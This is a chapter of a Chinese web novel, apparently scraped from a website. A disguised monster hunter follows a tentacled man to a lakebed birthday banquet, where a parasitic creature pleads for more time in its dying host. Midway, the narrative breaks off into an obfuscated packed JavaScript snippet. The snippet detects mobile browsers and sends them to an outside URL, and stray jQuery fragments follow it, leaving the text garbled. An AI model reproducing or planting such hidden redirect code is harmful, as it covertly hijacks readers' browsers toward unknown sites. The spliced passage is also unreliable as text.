8. 第八章

作品:《先生,你触手掉了

    “哦.....好。”


    白莯捡起帕子,覆在乌渊打湿的小腹上,轻轻揉了几下。


    “这,这样行吗?”他的脸愈发的烫。


    乌渊捏住他的下巴,迫使他抬头:“没擦干。”


    白莯懵懵地眨眼:“那我们......去洗手间里擦?里面有吹风机。”


    “喂!”


    伊文尧实在看不下去了。


    “你想去洗手间干什么!”


    他算是明白了,这个男生显然是故意碰瓷,一切只是为了勾搭他的主人!


    比如把主人拉去洗手间,然后干一些不可告人的事。


    “你知道这身衣服多贵吗!”他着急道,“这能用吹风机吗,吹坏了你赔??”


    “我,那我可以赔一套新的。但我只是个大学生,我没什么钱......”


    白莯蹲在地上,两手扒着乌渊的腿,下巴被捏得有点痛。


    冰凉的指头顺着他的下颌线往上滑,然后沿着脖子,在锁骨上重重摁了一下。


    这是在干嘛?


    白莯脑中飘过一串问号,眼里挤出几滴泪花:“先生,你......能轻点吗?”


    伊文尧也傻住了。


    难道主人对这个男的产生了兴趣?


    他才不要这种平平无奇的人类当妈妈!


    伊文尧思绪纷飞,拳头紧握,简直想揍上去。


    但是他不敢,只能祈祷主人是随便玩玩。


    而乌渊只是注视着眼前这个男孩,一言不发。


    这张脸清澈干净,圆圆的兔子眼,却有种怪异的违和感,


    乌渊沿着对方的脖子摸了会儿,和脸上的皮肤质感一样,柔软光滑,毫无破绽。


    没有戴面具的痕迹。


    “打扰一下,”一个女服务员赶来,“请问需要帮忙吗?”


    刚才搞的动静有点大,隔壁几桌人频频回头。长发大学生眼眶红红地蹲在阴沉男人的脚边,怎么看都像受欺负了。


    乌渊放开手,突然显得兴趣缺缺:“算了。”


    “伊文尧,结账。”


    他起身离开,绕过男生径直离开,裤子和衬衣上顶着大片湿漉漉的痕迹,他只好把外套拢住。


    伊文尧追了上去,脱下自己的外套要往他腰上挡,却被一个眼刀止住。


    这一幕旁边的人都看得清清楚楚,而白莯还蹲在原地,低头忍笑。


    让傻高个尴尬了呢。


    白莯心生歉意,但不多。


    “亲,你还好吧?”


    服务员大姐姐蹲下身来:“要不要报警?”


    她目光关切地盯着他的脖子,上面有好几道粉红的痕迹,明显是刚才那个男人掐的。


    “不用了,谢谢。”白莯捂紧衣领,“请问洗手间在哪儿?”


    “这边。”服务员为他指了个方向。


    他顶着众人探究的目光,飞快地冲进洗手间,对着镜子观察自己的脸。


    刚乌渊摸的位置,正好是□□的边缘,只不过这种面具材料取自一种特殊怪物,可以在短时间内与人皮完全融合,要使用药剂才能让它脱离,光靠手是不可能摸下来的。


    白莯在后颈摸了一下,把躲到背上的变声虫扯出来,重新搭到耳上。


    “真聪明。”他夸赞小虫。


    小虫虽透明,但也是可以摸到的实体,刚乌渊摸索的时候,它自觉地溜到了后面。


    不过乌渊也挺聪明,竟然怀疑他了。


    白莯对着镜子整理了一下衣物,把脖子上的痕迹遮住,然后出门找人。


    他在街上逛了会儿,坐在一张大树下的长椅上休息。就在树干遮挡的对面,有一家男装店,十分钟后,乌渊换了身新衣服出来,样式和刚才的差不多,只不过大衣里面不再是衬衣,而是暗蓝色的西装。


    那个叫伊文尧的男人跟在身后,手里提着购物袋。白莯也不紧不慢地跟了上去。


    很意外,他原以为乌渊是那些怪物的小弟,没想到是大哥。


    到底是什么原因,能让一个没有精神异能的D级怪成为BC级怪的大哥?


    怪物先生,真是越来越有趣了。


    不知不觉,他跟到了湖水公园门口。这是一家私人公园,里面有个建在湖底的大饭店,是富豪喜欢的聚会场所。


    乌渊在门口出示了会员码,两人走了进去。而白莯没有受邀,只能在门口干站着。


    于是他给自己拍了张照,发给方留,一个专门做假证的朋友。


    十分钟后,一张带照片的会员码回了过来。


    [方留:你真的去看了?]


    [方留:这个码是我找人要的,原主叫陆小贝。你就用这个名字吧。]


    [白莯:有空来吃甜点。]


    白莯——现在叫陆小贝,是一个低调富商的儿子,也是今天受邀的贵宾。


    湖底大饭店中,一场生日会即将开始。大厅浮在水面上,装潢华丽,融合了生态自然的风格,窗沿挂满了藤蔓和小花。


    白莯随着一群人混入,略过签字台,直接乘电梯,来到了水下五楼。


    这个湖不深,五楼已经接近水底。湖水用了特殊的清洁装置,清亮透彻,阳光好的时候,能从水底看到湖面的波澜。


    白莯沿着弧形走廊逛了一会儿,欣赏窗外的小鱼,然后来到宴会大厅,搜寻想找的人。


    乌渊和伊文尧坐在离舞台最近的桌子,这桌只有三人,第三人是个长相俊朗,面容疲惫的中年人。


    白莯在网上看到过这个男人的照片,是生日会主角的父亲,唐汀。


    而这个生日会是为他的女儿办的,来的都是些商界大人物,他女儿的同学还没到。


    唐汀端着白酒,坐到乌渊旁边,他姿态颤萎,仿佛生着大病。


    “我没时间了,还有半个小时,我撑不住了。”


    他为乌渊倒酒,颤颤巍巍地推到对方跟前。


    “我找到这个身体的时候,他已是癌症晚期,精神恍惚,卧床不起......”他说,“我遵守了您的要求,只寄生濒死之人,所以我想......”


    他褶起的眼皮缓慢闭上:“小女儿对我很好,我想,您能不能帮帮我......”


    “你舍不得了?”乌渊端起酒杯。


    “是。我想多要点时间。我有花不完的钱,美满的家庭,温柔的太太,三个儿女。我想再活久点,哪怕只有几天......”


    “你只是个游影,”乌渊道,“搞清自己的身份。”


    唐汀枯槁的眼皮又抬了起来。


    它望着眼前能决定它命运的人,惧怕和嫉恨在心头滋长。


    为什么,他们都有健康强大的躯体。


    可它,却


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15035724|162415||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    只能阴暗地漂浮,不断死去,永远在寻找下一个栖息之体。


    它好不容易找到个长相端正的濒死之人回光返照。不过体验半年的人生,它就上瘾了。


    一个病殃的人都能过得如此滋润,要是能找到年轻健康的躯体,它该多快乐。


    “我不想死,”它低声哀求,“今天是女儿的生日,我不想死。她以为我病好了,她要我陪她。”


    它入戏了,它喜欢这个小女儿。


    但它是游影,连名字也没有的怪物。


    “我不想那样......死在她面前。”


    畸变成最丑陋的模样,坍塌在女儿的蛋糕前。


    她这辈子都不会释怀。


    它只有恳求乌渊,用他的力量,再送它一点寿命。


    大门处,一群人说笑着进了门,有小孩也有大人。一个十六七岁的活泼女孩往这边招手:“爹爹!我同学来了!”


    它起身想过去,站在几米外的管家过来扶他,周围的宾客也上前帮忙,而唐汀却死死抓住乌渊的衣袖,如垂死之人抓住最后的稻草。


    “帮帮我,”它颤抖着,“帮帮我。”


    乌渊推开他的手,嘴唇未动,声音传入它脑中。


    “凌晨以前,自己找个体面的死法。”


    唐汀神经质地念叨着:“零点......零点。”


    还有五个小时,就到午夜了。


    但至少不是现在。


    唐汀在众人的搀扶下,向家人走去。宾客们陆续拥上,白莯也跟了上去。


    他刚才在不远处观察,虽听不见两人说了什么,但有一点可以确定——


    唐汀是游影。


    游影畸变前24小时,会散发强烈的异常磁场,并现出形态。此时,唐汀的身上笼罩着漆黑的雾,如一团浑浊的光晕,只有白莯才能看见。


    若是畸变发生在人群中,那就麻烦了。


    场内光线变暗,琉璃灯下,白莯在人群中穿梭,往唐汀靠近。余光中,乌渊也靠了过来,目标不是唐汀,而是他。


    他放慢脚步,嘈杂的人声中,辨识出对方的气息,越来越近。


    寒意爬上背脊,他心跳加快,反手握住对方伸来的胳膊,轻轻一拽。


    “别碍事。”他贴紧过去,用乌渊长而厚的大衣做遮掩,手臂环到对方背上,袖口滑出一把尖刀。


    乌渊往下瞥去,对上一双兔子眼:“不装了?”


    故意把茶泼到他身上,一路跟踪到这里,像暗中窥视的小猫一样盯着他。


    “咬我咬得这么紧,本来还不确定,现在我知道了......”


    这就是猎人。


    乌渊不知道猎人的名字,也不知道他的长相,甚至连气味都混淆了。


    但追他追得这么紧的,一定是猎人。


    他用力箍住白莯的腰,丝毫不在意刺在背上的尖刀。


    白莯被一双大手勒得骨头疼,于是反手用劲,小刀扎破了对方的衬衣。


    “我没有跟你装,”白莯笑道,“我是大学生,只是恰巧也干收尸的活儿。你要是不让开,我就把你的触手全部剁掉,你生多少我剁多少。”


    “是吗。你怎么知道......”


    猎人知道他有触手。


    乌渊瞳孔缩紧,眼底压抑着兴奋的暗火。


    “你果然记得我。”